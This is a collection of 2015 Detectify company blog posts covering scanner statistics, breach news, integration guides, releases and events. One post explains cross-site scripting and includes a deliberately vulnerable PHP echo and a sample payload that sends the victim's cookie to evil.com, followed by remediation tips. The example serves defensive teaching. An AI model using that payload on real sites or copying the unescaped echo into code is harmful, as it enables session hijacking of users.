Detectify Blog

[detectify-blog]

First encounters through the eyes of the Detectify scanner

How does typical websites look like through the eyes of our vulnerability scanner the first time they are tested? How does that picture change over time? Take a look behind the scenes, in the first of a long series of insights into our data.

In 2015 we have tracked down over 2 million vulnerabilities in more than 20 thousand websites all around the world, about once every other eye blink in the sole month of November. These, of course, cover a wide variety of security flaws and are classified on-the-fly with respect to their characteristics and overall impact according to the Common Vulnerability Scoring System (CVSS) specifications.

From this point of view, every website appears to be very peculiar in its own way, as typically the number of vulnerabilities increases with the size of the website itself, and their severity is highly dependent on many different factors. We asked ourselves if we could identify common weaknesses and if we could illustrate somehow a typical website with respect to its vulnerability status.

Such picture is shown in the bubble chart below, which represents a typical website as it is seen through the eyes of our vulnerability scanner the first time that it is tested.

Each bubble represents a specific vulnerability.

The bubbles come in three different colors, corresponding to our categorization of vulnerabilities according to their severity:

in red the most critical ones with a CVSS score bigger or equal than 6;

in yellow those with a CVSS score bigger or equal than 3 and smaller that 6;

in blue the lower severity ones with a CVSS score bigger than zero and smaller than 3.

The size of each bubble is proportional to the frequency with which the vulnerability that it represents is found over all the websites that we tested. Such frequency is shown as a percentage in the for the most frequent vulnerabilities.

To make the long story short, with the risk of oversimplifying the whole picture, we can say that the smaller a bubble is, the less a vulnerability is likely to be found. And everything looks also more secure when bigger percentages are in yellow or, even better, blue bubbles.

What vulnerabilities are mostly found during the first test? The majority are medium and low severity ones, i.e. yellow and blue bubbles, with Missing DNSSEC showing up in about 85% of the cases, followed with SSL BEAST found in 48% of the cases. The most relevant medium severity vulnerabilities are instead Cookie is not set to be HttpOnly and Technology Disclosure, which are respectively found in 74% and 72% of all the cases. Finally, among the most harmful ones, Login Cross Site Request Forgery is the most common one, found in 33% of all the cases.

What happens after the first test? Quite interestingly, despite the size of yellow and blue bubbles change quite a lot after the first test, there are 4 red bubbles which are always at the top of the list among the most found critical vulnerabilities.

Top 4 critical vulnerabilities found on websites

Login Cross Site Request Forgery (CSRF/XSRF)

Email Spoofing / Missing SPF Records

Potential Vulnerabilities In The Web Server

Cross Site Scripting

All in all, hopefully you have found this helpful to prevent some of the weak spots that we most frequently find in websites.

Until next time, and may all the bubbles shrink!

Andrea Palaia Data Scientist, Detectify @_endriu

[detectify-blog]

What is Cross Site Scripting and how can you fix it?

Cross Site scripting is a type of attack that can be carried out to compromise users of a website. The exploitation of a XSS flaw enables attackers to inject client-side scripts into web pages viewed by users

Risk of cross site scripting

The attacker may gain access to users cookies, session IDs, passwords, private messages etc. He or she can read and access the content of a page for any attacked user and therefore all the informations displayed to the user. The attacker may also compromise the content shown to the user. A notable attack was the Tweetdeck XSS worm that got published in 2014. It allowed the attacker to spread his malicious payload to all Tweetdeck users via Twitter, hence causing a mass compromise of Twitter accounts.

Example of XSS

Say you have a search box on your site. If there is no result, the site should say “Could not find any pages when searching for [what the user searched for].”.

Doing this in PHP it might look something like this:

<?php // Code for performing the actual search } else { echo "Could not find any pages when searching for ".$_GET['query']; } ?>

This would, in other words, output the user supplied data (the search query) straight into the HTML document. If the search query contains HTML, the users web browser will render it. Imagine an attacker send a link like the following to a victim:

http://example.com/search.php?query=<script>document.InnerHTML += "<img src='http://evil.com/?cookie="+document.cookie+" />";</script>

This would make the victim search for <script>document.InnerHTML += “<img src=‘http://evil.com/?cookie=”+document.cookie+“’/>”</script>. Since there is no validation of the data, the target browser will render:

Could not find any pages when searching for <script>document.InnerHTML += "<img src='http://evil.com?cookie="+document.cookie+"'/>"</script>

The injected HTML will be executed. The HTML contains a script tag which will evaluate JavaScript. The JavaScript will grab the users cookie and send it off bounds to a third party domain of the attackers control. The attacker will then be able to set his own cookie to the victims stolen one, hence gaining access the victims data. This is a common example of a privilege escalation attack by the means of cross site scripting and session riding.

Remediation

The remediation of XSS vulnerabilities are heavily context dependent. The patches vary from time to time. Here are some general tips (where UNTRUSTED is where user supplied data):

HTML Body

Example

<span>UNTRUSTED</span>

Solution Convert to HTML entities (ie. & to & etc). See PHP htmlspecialchars()

HTML Attributes

Example

<input value="UNTRUSTED"> <div attr="UNTRUSTED" />

Solution Convert the untrusted user input to HTML entities to prevent the creation of other attributes. Never let any user data into the “id”, “class” or “name” parameters. Be very cautious when providing user data into DOM event handlers (e.g, onclick), at they are made to execute JavaScript.

Untrusted URL

Example

<a href="UNTRUSTED">link</a> <iframe src="UNTRUSTED" />

Solution URL encode the user data. Whitelist known URLs. Run the user data through a proper URL library in your language. Take notice to the protocol specified. If you expect HTTP or HTTPS links, whitelist those. Prevent the javascript: protocol handler.

GET parameter

Example

<a href="/page?id=UNTRUSTED">link</a>

Solution URL encode the user data. Prevent the use of ampersand as it may lead to parameter pollution issues.

CSS value

Example

<div style="height:UNTRUSTED;"></div>

Solution CSS hex encode the value.

Javascript variable

Example

<script>var value='UNTRUSTED';</script>

Solution Quote around variable and hex encode. Prevent line breaks.

DOM XSS

Example

element.innerHTML = UNTRUSTED

Solution Sanitize using a library written in the language you use. Enforce the use of safer functions whenever applicable (like, innerText instead of innerHTML). Be vary careful of what data is allowed to be printed. It’s better to have a whitelist of allowed characters than a blacklist.

For more extensive list, see OWASP XSS prevention tips.

Detectify checks for Cross Side Scripting, so as soon as you have pushed any new code – go to Detectify and test it!

Resources

OWASP XSS

PHP htmlspecialchars()

HTML Purifier

[detectify-blog]

The 7 biggest web security news of 2015

Below, the Detectify team has listed some of the largest security news and breaches of the past year, that have had a great impact on the security and privacy of both companies and individuals. Let’s make it a new year’s resolution to be more web-secure next year, shall we?

The Ashley Madison hack leaking cheater’s user data The online cheating site AshleyMadison.com was hacked in July, leaking out email addresses and account details from 32 million site members. Avid Life Media (ALM), Toronto-based parent company of AshleyMadison, also had sensitive internal data leaked. The hackers, calling themselves “The Impact Team”, performed the hack as a response to the site’s unethical mission of arranging affairs between married people, as well as a comeback to ALM for charging $19 from their users for a “total delete” of account information-function, which in reality didn’t work. Passwords on the live site were hashed using a bcrypt algorithm. ALM have announced a bounty hunt for the hackers, but with no result so far. (Read more on fortune.com )

Google Chrome Extensions sharing your private browsing history

Earlier in November, the Detectify team could confirm that popular Google Chrome Extensions were constantly tracking you per default, and making it very difficult or even impossible to opt-out. By downloading certain extensions from the Chrome Web Store, users automatically agreed to the aggressive tracking. These extensions receive your complete browsing history, all your cookies, your secret access-tokens used for authentication (i.e., Facebook Connect) and shared links from sites such as Dropbox and Google Drive. Our findings were picked up by media like BBC and Observer.

- Since the publication, all of the Chrome Extension mentioned turned off the tracking script per default, and some of the extensions were also completely disabled by the Google Chrome Web Store team. The Firefox extension mentioned was disabled until the maintainer removed the tracking script and submitted a new version without tracking, says Frans Rosén, Knowledge Advisor at Detectify. Let's encrypt is now trusted by all major browsers Let’s encrypt - a free, automated, and open certificate authority (CA) - announced in October that they are now trusted and supported by all major browsers. The free SSL/TLS certificate encrypts all the Internet traffic passed between a site and its users, supporting a secure browsing experience. The company wants to see HTTPS become the standard for all websites. Let’s Encrypt entered Public Beta in the beginning of December, and can now be installed through their site. (Read more on letsencrypt.org ) CIA Director John Brennan’s private email hacked CIA Director John Brennan’s personal AOL email account was hacked in October, in what Brennan calls a case study showing the challenges that face national security in the modern age. A high school student claimed to be behind the the hack, saying he obtained access to the account by posing as a Verizon worker, tricking another employee into revealing login information. Sensitive information from Brennan’s email was later published on Wikileaks, like Social Security Numbers of both Brennan and his family as well as of some US intelligence officials. Earlier in the year Hillary Clinton’s private server and email account were also hacked, and she has been criticized since for using her private email to do official work, and in a sense risking national security. (Read more on wired.com ) Crowdfunding site Patreon hacked - despite warnings The crowdfunding site Patreon got hacked in October, leaking 2.3 million unique email addresses, as well as information on who had supported what projects and the conversations users had had between each other. Detectify reported a specific Remote Code Execution to Patreon prior to the breach, due to Werkzeug Debugger. We believe that the public debugger was the attack method due to the simplicity and availability of the vulnerable endpoint. Read our full blogpost on the hack here. There are still thousands of publicly available instances of Werkzeug Debugger out there, causing a security breach for many more sites. To prevent it from happening to you, it is important to remember that the Werkzeug Debugger should only be used in testing environments and not when putting a site up online. - Patreon thanked us after the disclosure, in terms of getting the information out, since more companies were affected. They also paid a bug bounty for the finding, says Frans Rosén, Knowledge Advisor at Detectify.

Experian hack affecting 15 million people The hack of Experian, one of the largest data brokers in the world, leaked personal information from around 15 million people, many of them T-Mobile customers who had used Experian to apply for credit checks. Names, addresses, and social security, driver’s license and passport numbers are assumed to have been leaked. Experian, being a data broker, is paradoxically often trusted by other companies to anonymize personal information. The hack is the most recent in a series of data breaches affecting organizations from the US government’s Office of Personnel Management to Target. (Read more on theguardian.com )

VTech hack leaking personal information of both parents and children Chinese digital toy company VTech’s app store database Learning Lodge was hacked in November, exposing personal information of about 4.8 million parents and 200,000 children. The hack has been deemed among the biggest hacks ever documented, and the leaked information makes it possible to link listed kids to their parent. The hacker claimed there was no reason behind the hack, and appears to have shared the breached data only with the staff at tech news site Motherboard who first covered the story. However, it can’t be ruled out that the data may also have been sold to a third party. (Read more on motherboard.vice.com )

"Unfortunately more websites will be hacked 2016" Detectify co-founder and security researcher Fredrik Almroth Nordberg summarizes the consequences of the biggest security breaches of 2015, and predicts how web security will develop in 2016.

[detectify-blog]

How to make sure your site is secure before releasing it to the public

Most developers today know that one should run unit tests and integration tests, before pushing things live. But not all developers know how to test if their site is secure.

Usually development or staging environments aren’t accessible from the internet, but there is a solution and that solution is called ngrok. ngrok is a tool that creates a secure tunnel to a closed environment, which is perfect for granting Detectify access.

Here follows a guide on how to set up your staging environment using ngrok and Detectify.

Start by downloading ngrok and install it following their instructions.

Start your local webserver.

Start your ngrok client.

Once ngrok is running you will get a forwarding address, in this example we got http://380c2794.ngrok.io. You (and the rest of the world) are now able to browse to your local webserver using that URL.

So now let’s head over to www.detectify.com and add this url as one of your domains. As usual you need to verify your domain. The easiest way to do this is by using the file verification method. Just download the file, put it in your root directory and click verify.

Once the file is verified Detectify will redirect you back to the dashboard and you can start a scan of your local development environment.

Do not hesitate to reach out at [email protected] if you want help setting it up.

Happy scanning!

[detectify-blog]

GUIDE: How to set up your integration with HipChat

HipChat is another one of Detectify's workflow integrations - there are still many more to come! Set up your integration with HipChat to add security and vulnerability scanning in your workflow in a straightforward and easy way, and start shipping safer code.

When you connect Detectify to your HipChat account you will be able to get notified when a scan has started or finished and/or when a vulnerability has been found. You will receive the notification to the channel of your choice. This makes it easy to keep track of the security level of your site without having to log in to Detectify.

As always don't forget to set up your recurring tests.

Here's how to set it up

Log in to your HipChat Room.

Click on the bar in the right hand corner and click "Integrations" from the drop down menu.

From this view choose "Build your own integration", then name it and click "create".

You will be shown a webhook URL. Copy it, go to Dashboard -> Integrations -> Hipchat, paste it in the webhook field and fire at will.

You are now all set to go. Enjoy your Detectify notifications, real-time on Hipchat!

And this is what it would look like on HipChat.

Read more/Related info: Set up your Detectify Slack Integration

[detectify-blog]

New findings: Joomla, JBoss, Jenkins and others!

During the past month, a great deal has happened in the web security landscape, and we have added a ton of new findings to the service. Some of these findings come from other security companies’ public disclosures, whilst others are the results of internal audits of responsible disclosure programs.

 Jenkins & JBoss remote code execution We have added checks for the Jenkins and JBoss remote code execution vulnerabilities that were disclosed the November 6 . The two vulnerabilities involve the deserialization of arbitrary Java objects, which leads to remote code execution. If you have a vulnerable configuration, an attacker will be able to gain remote access to your system. If you have run either Jenkins or JBoss and have missed these news, we urge you to get another report ASAP.

 Critical SQL injection vulnerability in Joomla!

A check for the Joomla! SQL injection vulnerability (as discovered by Trustwave)has been added to the service. If you have an unpatched version of Joomla! (ranging from version 3.2 through 3.4.4), you are at risk of having your database leaked and disclosed online. If you know you’re affected, upgrade immediately, otherwise grab another report to see if you’re vulnerable.

  Multiple vulnerabilities in Ganglia

Added vulnerabilities for the Ganglia Monitoring System used for clusters and grids. It may be wise not to expose this service to the Internet.

  Source code disclosure for Ruby applications

Added the ability for the service to detect Ruby-based source code disclosures. If your server is configured in such a way that it cannot properly handle Ruby files, the content of the files may leak. The source code for your application contains all the business logic and is hence highly critical.

  Enhanced checks for Git-based projects

Git disclosures are bad. We’ve added further methods to find and analyze the content of publicly accessible git projects. Remember to never add database dumps, config files and pem-files to your Git repositories. A slip-up in your setup may disclose very sensitive data. If that happens and we spot it, we’ll mark the finding as Critical.

  Findings in regards to IDE metadata

New checks for common files generated by the editors Eclipse and IntelliJ IDEA (including PhpStorm). Depending on how you use these tools, they may generate files containing sensitive data. These files should not reach your production environments as they may leak information (such as database credentials, commit messages, code changes and file paths).

  Setting disclosure through /.env

Added check for /.env. If publicly accessible, it may contain system-critical information such as database credentials and API keys.

  New check for the version control system Mercurial

Added Mercurial information disclosure finding (for the few who still use it). Further findings for PHP misconfigurations (Notice) It’s not uncommon for devops to configure and tweak PHP. Sometimes mistakes slip through. We have added checks for publicly exposed php.ini and error_log files.

As well as all of the above, new findings for Jetty, TravisCI and a ton of other systems have been added. To summarize, a large number of new vulnerabilities to look out for.

What are you waiting for? Go hack yourself!

Fredrik Nordberg Almroth Co-Founder Detectify @almroot

[detectify-blog]

The false positive report process

My name is Linus Särud. I’m a Detectify Security Researcher and responsible for incoming support emails. Going forward, we will identify popular subjects from the Detectify support and write about them on our blog, for a more open and transparent communication with our users. This is both to ensure that you use our product in the best way possible, and to give attention to those of our users who continuously help us improve our service for it to be as accurate as possible.

We have received some questions about false positives, so this seemed like a good subject to start with.

What exactly happens when you report a false positive? Detectify has identified over a million vulnerabilities on the websites that were scanned. . Less than <0.1% of all those are reported as false positives. False positives are findings that are detected as vulnerabilities when they actually are not – and we are working hard to minimize the occurrence of these to ensure a more accurate result.

When you report a false positive (i.e., a vulnerability that isn’t really a vulnerability), mainly three things happen:

• The finding is marked as a false positive in the report.

• The false positive status is saved in a database, so that we can filter out similar findings in future reports. .

• An email is sent to an employee who handles these cases for each report. That’s usually me. We make sure to follow up on every report manually. Individual review of all reports As we manually review every false positive report it helps if you are detailed in your description in the report. This applies to all kinds of questions and feedback that you send to the Detectify support.

• In cases where we can confirm that the vulnerability actually exists, and therefore is not a false positive, we try to explain this to the user, as there has clearly been some kind of misunderstanding.

• In cases where we fail to confirm the vulnerability, and that it’s therefore likely to be an actual false positive, we file a report in an internal bug tracker. These reports are then reviewed by the developers of the web service.

When it has gone through these steps and it is confirmed to be a valid false positive, we try to find the issue, fix it and then add it to a future release.

So by reporting false positives you help improving Detectify. Thank you for this and keep reporting!

Linus Särud Security Researcher @_zulln

[detectify-blog]

Go Slack yourself! GUIDE: Setting up your Detectify Slack integration

Slack is the first of Detectify's workflow integrations!

One of the many advantages of Slack is that it's a single point of contact for all the tools you and your team use. Using the Detectify Slack integration, your whole company can start to see security and vulnerability scanning as part of their workflow. You'll be able to ping a Slack channel with Detectify scan starts, finishes, and findings, so you can get on top of anything critical right away.

Seeing the site scans in a Slack channel also means it will start to get your team used to thinking about security as an ongoing concern, rather than something to react to once it's too late. Soon it will be so second-nature to everyone that it'll seem strange that security was ever seen as a separate function.

Here’s how to set up Detectify + Slack

Go to the dropdown menu on the left-hand navigation on your team's Slack. Click the little down arrow next to the name of your team, and choose "Configure Integrations".

Source: Slack Knowledge Base

On the All Services page, scroll down to "DIY Integrations and Customizations" and choose "Incoming WebHooks"

Under “Post to Channel” choose the channel in your team’s Slack where you want to receive your scan notifications. We recommend having a dedicated #status channel, rather than one just for security scans. (This helps your team understand the value of regular security work!)

After you've chosen your channel, Slack will generate a webhook URL. You'll find it by scrolling down to "Integration Settings".

Copy the Webhook URL, and then go back to your Detectify dashboard. Paste it into the Slack integration card, and set your Notification preferences.

You're ready to go! Now your whole team will be able to see Detectify activity right in Slack, which means they'll become more mindful of security as an ongoing project, not just a crisis-management activity.

And this is what the notification will look like on Slack.

Now you are all set and ready to Go Slack Yourself!

[detectify-blog]

Extended maintenance of Detectify

We are having an extended maintenance of Detectify starting from 2015-10-28 18:00 (CET) until 2015-10-29 18:00 (CET). This is extended window will prepare Detectify for the future. With this release we will completely change our infrastructure set-up. It will allow us to release new features in a faster pace going forward.

All started tests will be completed during the maintenance mode. However, you will not be able to access the tool during this time. Scheduled tests will start when our system is up and running again.

If you need to terminate an instance or have any other issues please reach out to us on [email protected] or @detectify.

We are doing our best to be up and running as soon as possible!

[detectify-blog]

Detectify on tour – meet us at the following events!

Detectify is attending/partnering with some of the biggest international tech and security conferences this fall. If you want to schedule a meeting with us in advance, or want to get a hold of us at any of the events, just drop us a note at hello[at]detectify.com or reach us on Twitter.

Photo: Sami Heiskanen (Slush 2014)

Here is the list of events that Detectify will participate in. We can’t wait to meet you!

Web Tech Conference 

Detectify’s very own security researcher and knowledge advisor Frans Rosén will be presenting at Web Tech Conference in Münich amongst speakers like Ilia Alshanetsky, CTO at Centah Inc. and polyglot developer Armagan Amcalar. Don’t miss Frans’ talk about Common Pitfalls in PHP – The State of PHP Security on October 26, and stop by Detectify’s booth in the exhibition area to find out more about our work and what we are up to! 

Time and date: Monday, October 26, 2015 - 2:15pm to 3:15pm Location: Münich, Germany Twitter: @WebTechCon

Detectify and Server Density’s SaaS Security Webinar

Don't miss Detectify and Server Density's SaaS Security Hangout October 29 - featuring Detectify's knowledge advisor Frans Rosén, CIO Johan Norrman and Server Density CEO David Mytton. There will be plenty of war stories, tried and tested practices, and ample time for questions.

Time and date: October 29, 6:00 PM GMT+1 Location: Google Hangout (sign up now!) 

Web Summit

Web Summit is the largest tech conference in Europe with its 30 000 attendees. Are you attending? If so, make sure to stop by Detectify’s stand to say hello and pick up some awesome stickers! Meet Detecitfy and other handpicked Swedish startups in the main hall exhibition area November 3rd (co-branded Talk to Sweden by Business Sweden).

Time and date: Nov 3-5, 2015 Location: Dublin, Ireland Twitter: @WebSummitHQ 

Internetdagarna (‘The Internet Days’)

The Internet Days is one of Sweden’s most important meeting places for individuals who work with the internet in various ways. Detectify’s Frans Rosén will be be speaking on the topic of trusting cloud service providers on Nov 23rd.

Time and date: November 23-24th, 2015, at 3.30 pm Location: Stockholm, Sweden Twitter: @internetdagarna 

Slush

Slush is one of the leading startup events in the world. This year thousands of attendees, startups and investors will gather to network, innovate and listen to speakers like Caterina Fake, Co-founder of Flickr & Hunch, Chairman of Etsy.com and Niklas Zennström, Co-founder of Skype & Atomico. And what’s more: Detectify’s CEO and Co-founder Rickard Carlsson is invited to participate in a fire side chat on November 12.

Time and date: Thursday November 12th, on Cybersecurity session at Black Stage starting at 9:30 Location: Helsinki, Finland Twitter: @SlushHQ 

Säkerhetsdagen (‘Security Day’)

Säkerhetsdagen (‘Security day’), hosted by Computer Sweden (a part of IDG Sweden), is the must-attend event for security experts in Sweden. Detectify’s knowledge advisor Frans Rosén is one of the keynote speakers – don’t miss the opportunity to hear his presentation ‘Inside the head of a whitehat hacker’. Time and date: February 24, 2016 Location: Stockholm, Sweden

In case you can’t make it to any of the listed events, you’ll still be able to follow our adventures through Twitter, Facebook and the Detectify blog. And stay tuned - we are continuously adding more events, meetups and conferences to the Detectify roadshow!

[detectify-blog]

Release - Now available to accept risks for future reports

New feature!: Accept risks for future reports

Now you can select vulnerabilities to mark as accepted risks, if you don’t want to be notified about them every time you scan.

If, for example, you’re already aware of a vulnerability, or if you think it’s not actually a risk, you can mark it as a false positive or acceptable risk, and it will no longer be flagged as a vulnerability when you run a scan (unless you change the status manually).

Go check it out here 

and Go hack yourself!

The Detectify Team

[detectify-blog]

Security is everyone’s business

There’s no such thing as perfect security. To a security expert, this sentence is a reminder of why working in security is so much fun. To everyone else, it sounds like a threat.

The more personalized content becomes on the web, and the more tightly our ‘real’ identities are tied to our digital logins, the more we’re swapping privacy for convenience. As we build this more ‘convenient’ web, we have a responsibility to make sure it’s also more secure, by tying security and privacy as tightly to this as we can. We make a better web by making security a habit.

For most people, even relatively technical types, security is a separate function, even an afterthought. Their primary exposure to security issues is in the form of terrifying news stories about hackers, data breaches, and deliberate privacy violations. When they go looking for information, so much of what’s out there is too technical for non-experts or too scaremongering to actually act on.

How do you convince people to take a little more care without confusing them into inaction, or driving them to avoidance tactics with terrifying scenarios? In order to get motivated to do something, people need to understand the risk, feel a little bit challenged, and have enough information to be empowered.

That’s where Zen and the Art of Making Tech Work for You comes in.

Last winter, 50 human rights and internet activists gathered on the German-Polish border to discuss privacy, threat modeling, and what they could share with other people, primarily women and trans persons, to help everyone take control of their data and privacy.

What resulted is this draft, a living document of practical information and tactical steps, aimed primarily at women, to do just that. It’s realistic, accessible, and not prescriptive -- it’s open about the pros and cons of a range of approaches to personal data, security, and privacy.

It outlines some of the terminology (most people really do need a good, clear explanation of what metadata is and why it matters), and has sections on:

Managing online identities 

Creating new online identities 

Diversifying your machines 

Safe spaces and activism 

Combating harassment and trolls (including using bots) Options for online community formation in more privacy-friendly forums 

How to establish a baseline level of knowledge of security and privacy (keep your devices clean and healthy, dammit!)

Until December of this year, the document remains in draft form, and they’re looking for interesting tools, processes, readings, and case studies that they can put into the final version. There’s a link to a feedback form at the bottom of the document if you want to contribute.

This guide is incredibly useful, whether or not you’re an intersectional feminist. What we like best about it is not that it’s non-technical and useful -- it is those things -- but that, rather than a set of defensive actions done out of fear, the tactics and information help non-experts see that a security and privacy habit can be an opportunity to get creative and inventive.

All of a sudden, your non-expert friends will see why ‘there’s no such thing as perfect security’ makes you downright happy. Maybe they’ll start building security into their lives, and they might even decide they think it’s fun.

PS: If you haven’t heard the 99% Invisible podcast’s episode on perfect security, you should listen to it ASAP It’s the original Go Hack Yourself!

[detectify-blog]

Use case: automation makes you smarter, not lazier

Automation doesn’t lead to laziness, at least when it comes to security. Everyone (or everyone we like) wants a better, more secure web. You’re definitely aware of the need to prevent malicious attacks and data breaches, but unless you have a security expert on your team, you’re not very likely to have the knowledge, the time, or the resources to get out in front of your security. So how do you go from being reactive to being preventive? We spoke with one of our customers, John Mick, of Stockholm-based web agency Afonso, about how they made security a habit -- and about what happened next.

When did you realize that security was important for your business? Were there any disasters or close calls?

We’ve been thinking about security for some time, that we should be more strategic with it. We’ve had situations where old sites have been hacked. I’d seen an article on Hacker News about Detectify a couple of years ago, and when one of our sites got hacked last spring, I decided it was time to try it.

As soon as I did, the first scan found the problem area and I was able to fix it quickly. Since then, we’ve integrated Detectify into the ongoing work for all of our clients.

What impact has security had on your organisation?

It’s changed the way we work in the sense that now we have a forward-planning approach to it. We’re able to fix issues before they become a problem, and it’s become a natural part of the dialogue with our clients.

I’ve been able to relax and rely on Detectify to find the problem areas so I can act on them quickly.

What has changed since you started building security into your team’s workflow?

Bringing in Detectify to our daily routine has really raised our knowledge base within the area, and it’s come to the point where we’ve started to guess where we’ll have security holes.

Security as a topic has become a lot more evident in our daily work, and I assume in the near future it will be even more structured, and part of our sprint planning.

What’s been the best benefit of regular security scanning?

The biggest advantage has been that with Detectify’s findings as a backup, we’ve been able to show internally and externally that security is something you need to work with continuously. And you have to take a proactive approach.

Can we ask you what your favorite feature is?

If I have to choose, I’d say it’s that Detectify looks at subdomains, and is able to find parts of the site we might have forgotten about.

[detectify-blog]

Detectify @ DEF CON 2015

Frans @fransrosen and Fredrik @almroot from the Detectify team visited the 23rd annual DEF CON Hacker Conference, as usual hosted in Vegas, in beginning of August. This year was the big eye opener for car hacking with the hacking of a Tesla Model S reaching the mainstream media. On the technical side researcher Fernando Arnaboldi presented some very interesting findings on XSLT and its implications. And of course the team also made sure to have some fun during the visit and will here reveal who threw this year’s best party.

Car hacking is the new black

Car hacking seems to be the new black at DEF CON this year. Even though car hacking did make some headlines back in 2010 and 2011, this was the year it really became the main topic.

DEF CON had organized its own car hacking village with the slogan “Drive it like you hacked it”. For example it was revealed that hackers had been able to hack two of america's most commonly used cars: a 2010 Toyota Prius and a 2010 Ford Escape.

Further it was revealed that Marc Rogers and Kevin Mahaffey have been able to hack Tesla Model S so that they could unlock, start and stop the car. They did admit that it was “very hard” to hack the Model S, but apparently possible. Tesla was not late on responding to the hack announced that they double the maximum reward in their bug bounty program to $10,000 for anyone able to find severe vulnerabilities in the Model S. Both Tesla and the hackers were clear on mentioning that all known vulnerabilities now are patched.

It will be very interesting to follow the development of the car hacking scene and we can be pretty sure that we haven’t seen anything yet.

Best technical research - XSLT for practical attacks & Abusing Adobe Reader’s JavaScript APIs

Fernando Arnaboldi (IOActive) presented interesting security research on XSLT, ranging all from information disclosure to arbitrary file access by the means of providing XML documents together with XSL.

The findings presented have implications for all major web browsers (Safari, Opera, Chrome, Internet Explorer and Firefox), as well a range of popular programming languages (Python, perl, PHP, Java, JavaScript, .NET and C++).

Another interesting research was presented by Brian Gorenc, Abdul-Aziz Hariri & Jasiel Spelman (HP’s Zero Day Initiative) on how the JavaScript API’s work in Adobe Reader. By abusing logical flaws they managed to get remote code execution.

Who threw the best party?

Last but not least, as maybe the most prestigious award, the Detectify team names “The best party of DEF CON 2015”. As it should, in Vegas, the focus easily slips to the party scene and the competition is fierce among the companies on who can throw the best party. Based on our thorough research from our team, here are the three honorable mentions that made it to the final.

IOActive pool party, almost the unofficial DEF CON party, was hosted at the Bally’s hotel. The event was massive and in great spirit even though the beer was not for free.

BSides checked its party in at the Tuscany hotel. The event was a classic pool party highlighted with cupcakes, open bar and a great crowd.

Facebook hosted its venue at the Surrender nightclub at the Wynn hotel. They flew in the DJs Flosstradamus, served cupcakes (seemed to be a trend this year) and of course had an open bar all night long.

As mentioned there was some stiff competition this year and after some hard discussion the team agreed that Facebook did throw the best party, with BSides as the runner up.

To summarize, DEF CON 2015 had a little bit of everything. We at Detectify are very thankful for its existence and how the conference manages to shed some light on the real hacker community and, of course, throw a lot of great parties.

Below you can see some pictures from our team’s experience at DEF CON 2015, see you again next year Vegas!

[detectify-blog]

Release: You are now able to add your own subdomains

In the latest release, we launched the possibility to add your own subdomains without verifying them separately. Since before we have been able to look for the most common subdomains, but now you can add your own custom subdomains. By adding your subdomains you ensure that no potential vulnerability is missed during the scan of your web site. All results, including the main domain and subdomains, will be located in one place.

You simply add the subdomains you would like us to scan in the settings menu, as seen in the picture below. As usual you are able to decide whether or not you would like us to scan your subdomains. This setting is adjusted at the same place in the settings menu.

We hope that these new features will help you in your security efforts. If you have feedback on our new release or ideas for new features do not hesitate to tell us, either in the comments below or at [email protected]

Happy scanning!

[detectify-blog]

Release: Improved PDF report and new WordPress vulnerabilities

We are continuously developing our scanner and service. In the latest release we have added a new improved PDF report which now has an executive summary. We have also added a couple of new vulnerabilities for WordPress.

New improved PDF report

The new PDF report is released that will give you the ability to export the findings and share it with your colleagues. You also now have the opportunity to export an executive summary that will give you an understanding of your security status in a comprehensible format.

You find the export button in the top right corner of your dashboard.

New vulnerabilities added for WordPress

We have added a couple of new vulnerabilities for WordPress to the scanner. This is part of our continuous improvement and we are constantly looking out for new vulnerabilities.

We hope that these new features will serve you well. If you have any feedback on our new release or ideas for new features do not hesitate to tell us, either in the comments below or at [email protected]

Happy scanning!

[detectify-blog]

Team event - Detectify Sailing

The Detectify team took a day of in order to explore the archipelago outside Stockholm from the sea side. It was a great day blessed with sunshine and just enough sea breeze.

The sailing took us from Saltsjöbaden and on a tour heading east out in the archipelago. In the beginning we experienced light winds that picked up in the afternoon when we were sailing 10 knots with a 20 knots headwind. After a day of sailing we moored in a bay where we enjoyed some well deserved dinner, some swimming, slacklining, hiking and just had a great time. The day after we set sail back to the city.

Here are some pictures from the day.

So these are the things we do when we are not working on making the internet a safer place. Do you think that this is cool and want to join our team?

Take a look at our open positions here!